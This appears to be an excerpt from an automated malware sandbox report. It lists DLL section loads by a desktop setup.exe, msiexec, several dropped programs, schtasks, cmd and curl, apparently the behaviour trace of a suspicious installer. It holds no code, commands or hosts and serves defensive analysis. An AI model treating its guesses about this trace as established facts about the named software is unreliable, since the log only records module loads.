Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: lpk.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: icu.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: wshunix.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: icu.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: wshunix.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: winrnr.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: nlaapi.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: wshbth.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: pnrpnsp.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: napinsp.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: schannel.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: mskeyprotect.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ntasn1.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ncrypt.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: ncryptsslp.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: gpapi.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: edputil.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: appresolver.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: bcp47langs.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: slc.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: sppc.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: icu.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: wshunix.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: winrnr.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: nlaapi.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: wshbth.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: pnrpnsp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: napinsp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: schannel.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: mskeyprotect.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: ntasn1.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: ncrypt.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: ncryptsslp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Program Files (x86)\Main\Chop\Install.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Main\Chop\Install.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll
